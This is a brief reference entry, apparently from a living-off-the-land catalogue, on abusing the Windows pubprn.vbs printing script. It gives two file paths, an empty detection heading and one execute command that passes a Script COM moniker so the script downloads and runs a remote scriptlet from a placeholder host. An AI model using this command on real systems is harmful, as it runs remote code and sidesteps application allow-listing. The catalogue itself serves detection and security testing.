Paths:

C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs

Detection:

Execute

Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection

pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct